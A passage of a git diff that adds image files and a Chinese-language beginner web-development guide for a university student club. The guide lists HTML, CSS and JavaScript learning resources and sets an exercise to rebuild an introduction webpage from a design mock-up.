b/6.计算机安全/static/boxcnbAKreqEeZxOYQuQMtZbd9d.png new file mode 100644 index 0000000..42eba6e Binary files /dev/null and b/6.计算机安全/static/boxcnbAKreqEeZxOYQuQMtZbd9d.png differ diff --git a/6.计算机安全/static/boxcnbMtjAq8osStjcSbFuIdDSc.png b/6.计算机安全/static/boxcnbMtjAq8osStjcSbFuIdDSc.png new file mode 100644 index 0000000..b3a5abc Binary files /dev/null and b/6.计算机安全/static/boxcnbMtjAq8osStjcSbFuIdDSc.png differ diff --git a/6.计算机安全/static/boxcnbaW15gnJc1O9Iv9WXqJxPc.png b/6.计算机安全/static/boxcnbaW15gnJc1O9Iv9WXqJxPc.png new file mode 100644 index 0000000..1b63300 Binary files /dev/null and b/6.计算机安全/static/boxcnbaW15gnJc1O9Iv9WXqJxPc.png differ diff --git a/6.计算机安全/static/boxcndxf4WEQQQEXspS7GwNKI6J.png b/6.计算机安全/static/boxcndxf4WEQQQEXspS7GwNKI6J.png new file mode 100644 index 0000000..32e962e Binary files /dev/null and b/6.计算机安全/static/boxcndxf4WEQQQEXspS7GwNKI6J.png differ diff --git a/6.计算机安全/static/boxcniDohuM3F8FbMqz7YSC0Y5g.png b/6.计算机安全/static/boxcniDohuM3F8FbMqz7YSC0Y5g.png new file mode 100644 index 0000000..01704b5 Binary files /dev/null and b/6.计算机安全/static/boxcniDohuM3F8FbMqz7YSC0Y5g.png differ diff --git a/6.计算机安全/static/boxcnkwvSnhKBhlHNLOSthgul9d.png b/6.计算机安全/static/boxcnkwvSnhKBhlHNLOSthgul9d.png new file mode 100644 index 0000000..307919b Binary files /dev/null and b/6.计算机安全/static/boxcnkwvSnhKBhlHNLOSthgul9d.png differ diff --git a/6.计算机安全/static/boxcnl67uDDSIdh3J7y7Jxjk0dc.png b/6.计算机安全/static/boxcnl67uDDSIdh3J7y7Jxjk0dc.png new file mode 100644 index 0000000..668cf60 Binary files /dev/null and b/6.计算机安全/static/boxcnl67uDDSIdh3J7y7Jxjk0dc.png differ diff --git a/6.计算机安全/static/boxcnpCCmEi6LIKNi0UqEkXfJ8g.png b/6.计算机安全/static/boxcnpCCmEi6LIKNi0UqEkXfJ8g.png new file mode 100644 index 0000000..bc140d2 Binary files /dev/null and b/6.计算机安全/static/boxcnpCCmEi6LIKNi0UqEkXfJ8g.png differ diff --git a/6.计算机安全/static/boxcnrMIc2m6oubxC86CEtw1jMe.png b/6.计算机安全/static/boxcnrMIc2m6oubxC86CEtw1jMe.png new file mode 100644 index 0000000..8904d1a Binary files /dev/null and b/6.计算机安全/static/boxcnrMIc2m6oubxC86CEtw1jMe.png differ diff --git a/6.计算机安全/static/boxcnsStdHC5VmBylyx6S7hakEb.png b/6.计算机安全/static/boxcnsStdHC5VmBylyx6S7hakEb.png new file mode 100644 index 0000000..89a1a3f Binary files /dev/null and b/6.计算机安全/static/boxcnsStdHC5VmBylyx6S7hakEb.png differ diff --git a/7.Web开发入门/7.1.1基础部分.md b/7.Web开发入门/7.1.1基础部分.md new file mode 100644 index 0000000..f272992 --- /dev/null +++ b/7.Web开发入门/7.1.1基础部分.md @@ -0,0 +1,153 @@ +# 基础部分 + +## 🔑 萌新需要知道的前置知识 + +### 前端入门到入土 + +不同于后端语言的多样化,前端语言较为统一。在萌新阶段,你需要先掌握 HTML、CSS、JS 三种语言(人称前端三剑客件套) + +三者关系可以简单理解为:HTML 是骨架,CSS 是衣服装饰,JS 则控制交互行为 + +以下提供一些可供参考的学习资料,你也可以按兴趣在 b 站大学搜索相关学习视频。在学习中遇到无法解决的问题,或者学习路径上的迷茫,也可以参考[提问的智慧](https://learnku.com/laravel/t/2396/wisdom-of-asking-questions-chinese-version)向群里的前端学姐们提问噢~ + +#### HTML & CSS + +[MDN Web 入门](https://developer.mozilla.org/zh-CN/docs/Learn/Getting_started_with_the_web) + +[ A friendly web development tutorial for complete beginners](https://www.internetingishard.com/html-and-css/) + +[前端入门必会的初级调试技巧](https://zhuanlan.zhihu.com/p/145466139) + +#### JavaScript + +[现代 JavaScript 教程](https://zh.javascript.info/) + +快速上手的参考建议 + +HTML 可以先认知常用标签( body / div / span / a / img 等)及其常用属性 + +CSS 了解常见的颜色属性(字体颜色 / 背景颜色 / 边框颜色 等)、字体相关属性(字号 / 字重 / 行高 等)、盒子模型(padding / border / margin)、用于布局的属性(float / flex / grid)、单位(px / rem / em / vh / vw 等)、选择器(id 选择器 / 类选择器 等) + +JS 了解基本语法(变量定义 / 判断 / 循环 / 函数定义 / etc)与 DOM 操作 + +涉及前后端交互的部分可以了解 fetch 的使用 + +其他诸如 HTML5 / CSS3 / ES6+ 的知识可以暂时跳过,任务要用到再查 + +基本全部前端开发资料都可以在 [MDN](https://developer.mozilla.org/) 中找到 + +### 🥂 助手介绍网页的重写 + +设计部姐姐给了前端部一个助手介绍网页的设计稿,但是 psyq 觉得[目前的助手介绍网页](https://site.hduhelp.com/)写得不是很还原,你可以帮 psyq 重写一个更好看的网页吗? + +设计稿如下: + +![](static/boxcnVR5z4U8YlXZbc8beDNEHXc.jpg) + +#### 可能需要用到的图片资源 + +![](static/boxcnbigxAK5SbxiWuDHr1Ashne.png) + +![](static/boxcnrqddPFusKhe0vZuzXJOosg.png) + +#### 基本要求 + +- 大致还原设计稿的基础上可以自由发挥,要求美观 + + - 设计稿内容的大致布局 + - 背景颜色/样式 & 文字颜色/样式 + - 文字与容器的位置关系 + - …… + +#### 额外发挥 + +- 各处样式的细节(圆角 / 阴影 / 渐变) +- 对不同设备屏幕尺寸进行适配 +- 为显示内容增加一些动态效果 +- 无法一页显示所有内容时,试试在下滑页面时显示一个 `返回顶部` 的按钮 + +#### 可能涉及的知识点 + +- 使用 HTML 构建页面的基础布局 + + - 了解常用的 HTML 标签 + + - HTML 引入外部图片文件(``) +- 如何让 HTML / CSS / JS 相互配合 + + - HTML 中书写 css 使用 `